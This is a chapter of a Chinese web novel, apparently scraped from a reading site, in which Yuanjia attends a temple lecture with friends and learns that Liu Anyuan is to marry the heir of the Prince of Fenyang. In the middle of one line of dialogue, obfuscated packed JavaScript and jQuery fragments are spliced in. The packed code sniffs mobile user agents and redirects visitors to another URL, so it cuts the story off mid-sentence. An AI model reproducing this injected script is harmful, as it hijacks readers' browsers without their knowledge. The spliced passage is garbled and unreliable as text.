76. 喜婚事

作品:《君妇升职手札

    燕景祁回来后,积了一堆的事情等着处理,最后只在回京的第二日略休息了下,便又宫里宫外的来回跑着,忙得脚不沾地。


    元嘉的生活倒与燕景祁不在时别无二致,除了不再有庄映秋的上门教习以外。好在燕景璇早有所料,每逢元嘉往公主府闲坐时,便遣人去胡玉楼提前将庄映秋接过来,倒也不曾误了其他。


    至于吴小童,在从宫女口中得知自己晋了昭训的第二日,便诚惶诚恐地赶来长春馆请安,嘴里重复着自己无德无功的贬低话,又说实在不敢忝居昭训之位。元嘉好一通劝慰,才勉强把她的心安了下去。只前者临告退前说的一件事情,倒引起了元嘉的注意——


    吴小童道她与燕景祁同在边城的这段时日,曾于某次奉茶进屋的时候,不经意间撞见男人撑着额头、脸色苍白的情景。虽然燕景祁很快就收敛好了所有异样,面对她想要传召太医的建议亦摇头示意无恙,可她总觉得是自己不曾侍奉好燕景祁的缘故,所以才会对自己做了昭训的事情如此忧怕。


    言者虽无意,听者却有心。


    元嘉想起那日在马车上,燕景祁宿醉未清时的反应──男人亦是拧眉撑着额头,脸色也同样欠佳。可等到下了马车以后,展露在外人面前的却只余少许的疲累罢了。


    是巧合吗?还是有别的缘由?


    元嘉暗暗将吴小童说的怪异之处记在心底,又在章有为过来请平安脉时状似不经意般提了一句,前者果然一无所知,元嘉便也不再深问,只每每与燕景祁独处时,又格外关注起男人的举止和神态来。


    ……


    这日,元嘉久违地收到了柳安沅的手书,邀她三日后往慈恩寺听慧能禅师俗讲,另替欧阳沁设宴接风。


    就是理由怪了些──柳安沅从来是不奉佛道的,更别提去静坐半晌听人俗讲了。至于接风么……欧阳沁回京都多久了,如今才想起这事来,当真只是寻个由头把人邀出来罢了。


    元嘉捏着信纸,不免摇头轻笑,随即又像是想到什么似的,扬声唤人,“拂冬!”


    拂冬立时进屋。


    “让人往几位娘子的住处走一遭,只说三日后有慧能禅师的俗讲,她们中如有想去的,提前报与我知,宵禁前回府即可。”


    拂冬躬身应下,随即出了门。


    燕景祁回京后事务繁忙,近来十日里倒有五、六日都宿在东宫,余下的日子才会回太子府歇息。


    等回了澹怀堂,也会不时让倪娉柔陪伴在侧,细算下来,元嘉也要七、八日才能见到燕景祁一面。


    倒也不必特意知会。


    如此一想,元嘉便也径自让人去回了还在门房等候的国公府小厮,道会准时赴约。


    等到出门那日,除了元嘉自己,余下的竟都是一开始不曾料到的人──徐丽华与卫妙音。


    俗讲虽也热闹,却也不是人人都喜欢的。倪娉柔便爱热闹,可那日只有俗讲,寺外未设戏场,也未到庙会开始的时候,叫她在佛寺内跪坐听讲,实在是为难人了些。


    至于刘婵,元嘉才知道她是奉道多年的,甚至年少时为求父母康健,还曾入过一段时间的道观修行,因此对慈恩寺俗讲一事,自是婉拒。


    吴小童倒不奉道,可从来是不独行于人前的,前次随燕景祁出京已是战战兢兢,唯恐自己哪里逾了矩,这次更是亲自跑了趟长春馆,只为说一句不去。


    而卫妙音,元嘉本以为她身体尚未大好,当是要留府静养的,可没想到卫妙音奉佛之心虔诚,知道俗讲的人是慧能禅师,便再三请求元嘉允准。元嘉无奈,只得让卫妙音出府时一并带上医女与服侍的人,以便时时照应。


    余下的徐丽华,虽罕见地报了要出府,可最后去慈恩寺的却不是她,而是她的贴身侍女,唤作豆蔻的。


    豆蔻出门前,先来长春馆向元嘉请了礼,这才从角门上了驾牛车离去。浑身素白,除了在手肘处挂了个半大竹篮外,竟连半件饰物也无。


    元嘉目视着豆蔻离开,突然就明白了徐丽华这次的异常之举。


    当是,要去奉祭亡人。


    “女君,咱们也可出发了。”


    拂冬掀帘而入,屈膝道。


    “今次备的,是哪一驾马车?”


    元嘉闻言起身,又问了一句。


    “是蓝青色棚顶的那一驾,”拂冬笑吟吟道,“上头没有太子府的徽记,想来也不会扰了佛寺清净。”


    元嘉点了点头,这才搭着逢春的手背缓缓下阶。


    慈恩寺的慧能禅师,在上京,乃至整个大周都赫赫有名。此人修习佛道已逾三十年,自会说话时起,便开始诵读佛经,据说尚为婴孩时,每遇佛像便展目而笑,时人称之为“佛子”,后归慈恩寺守真禅师座下,听其传道。


    守真禅师圆寂后,慧能禅师继任主持,主理慈恩寺里外大小事,已许久不曾开坛。如今能再有机会听其俗讲,上京内外自是趋之若鹜。


    元嘉的马车到时,慈恩寺早已观者云集,俱是想要一听慧能禅师俗讲的百姓。人头攒动中,元嘉还瞥见了好些熟悉的面孔,皆是上京有名的高门女眷。


    元嘉本以为要费一阵工夫才能寻见柳安沅,却不想前者早在内殿安坐,又替元嘉与欧阳沁留了席位,还在慈恩寺所有进门处留了侍女,一见着元嘉出现便近前引路。


    元嘉避开左右人潮,一路行至柳安沅身侧,见她左右两处有蒲团空置,遂提裙跪坐。正欲侧头唤上一句,却见柳安沅双眸紧闭,两掌合十,一副虔诚祈祷的模样,便又将话咽了下去,学着柳安沅的样子祝祷起来,只是不时向前者投去好奇的目光。


    这是、要奉佛了?


    不多时,欧阳沁也在侍女的接引下跨阶而入,跪坐至柳安沅另一侧。见她如此模样,亦是面露诧异,随即昂头向元嘉望去。


    元嘉微微摇头,无奈示意自己也不清楚。欧阳沁一挑眉,又将视线转回柳安沅身上,上下打量了好几眼,正想开口说些什么,却无奈慧能禅师已开始坐讲,只好闭嘴不言。


    慧能禅师这一场俗讲,前后持续了近两个时辰。这期间,柳安沅的姿势竟丝毫不见改换,由始至终都是垂首阖眸的虔诚之态,直看得两人暗自称奇。


    好容易等到散场,柳安沅这才睁眼朝着两人咧嘴一笑,倒又跟从前别无二致了。


    三人起身,结伴离开大殿。


    “你今儿是怎么了,竟会邀咱们来听俗讲,”欧阳沁率先发问,“从前怎不知


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398917|154513||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你信佛?”


    柳安沅抿嘴一笑,只道:“慈恩寺的素斋味道极好,我早两日便命人来定了一桌,如今想来已送到厢房去了。走走走,咱们边吃边说,正好为姊姊接风洗尘了!”


    话音未落,元嘉与欧阳沁便已被柳安沅推着往前走了好几步。两人对视一眼,彼此疑惑愈重,可见柳安沅眉宇间并无愁色,便也放下一半的心,只跟着往前者口中的厢房走去。


    厢房内,一张不大的方桌上果然已摆满了各色素肴,此刻正飘着热气勾人食欲,显然刚送来不久。


    三人围坐一处,柳安沅抬手挥退了服侍的人,又亲自为元嘉二人添满了茶水,却还是笑着不说话。


    元嘉眼珠转了转,突然想起前些时候脑子里闪过的莫名念头,下意识阿了一声,脱口道:“阿沅,你莫不是──”


    婚期将至?


    柳安沅显然听明白了元嘉的未尽之意,面上顿时有些燥热起来。


    这副被戳中心思的模样,欧阳沁瞧在眼里,还有什么好疑惑的。长长的哦了一声,又面露几分揶揄,“是哪家的郎君这般有福气,能娶到咱们家阿沅做夫人?”


    元嘉也将视线移向柳安沅,一副等不到人开口不罢休的模样。


    话已说破,柳安沅反倒不好意思起来,“是、是汾阳王的长孙,唤作谢韫暄的。许多年前外祖母大寿,他随汾阳王来过国公府,见过我一次。”


    然后便支支吾吾地不肯细说了。


    “汾阳王……”


    元嘉想了一下,她倒是知道这位郡王爷──是位颇具威严的老人家,性情耿直,遇事亦坦言不讳,却是个难得的良臣……只可惜膝下三子一女皆不得圆满。


    长子十几年前便已病逝,长媳悲痛过甚,从此奉佛,不问俗事。


    次子先天不足,自出生起便开始吃药,到娶妻生子,也远比常人体弱,每至寒冬便病得下不了床。


    三子倒是康健,可却是个不折不扣的纨绔子弟,早年间也曾做过斗鸡走狗的荒唐事,直到从马背上跌断了腿才渐渐收性。后来又娶了位将门虎女,脾性刚硬远甚夫婿,有她压着,这些年倒甚少再听到谢三郎传出什么荒唐事了。


    唯一的女儿数年前已远嫁淮南,难回上京,便是逢年过节也见不到一面。


    而谢韫暄,便是这谢家大郎留下的唯一血脉,因其母常年奉佛,远离红尘事,亦不理府中俗务,是以小小年纪便被汾阳王夫妇养在了身边,又悉心教导多年。


    元嘉还记得燕景璇在西山别院时说过的话,想来也是个早慧善学的人,如此也不算委屈柳安沅。


    “我若没记错,汾阳王年初才请立了谢韫暄做世子,你若嫁了他,来日便该称一句世子夫人了。”


    柳安沅闻言,面上又是一红,倒也没有否认这个称呼。


    二人又笑着朝柳安沅道贺了几句。


    元嘉却突然想到另一处,道:“靖安郡主膝下只你一个,我阿娘已不止一次听郡主说起,来日要为你找个上门郎婿的。这谢韫暄是有多好,竟叫郡主松口许你做别家儿媳了?”


    柳安沅闻言,眼珠左右转了转,就是不开口,可最终还是没抵过元嘉二人的灼灼目光,吃了口茶缓缓道来。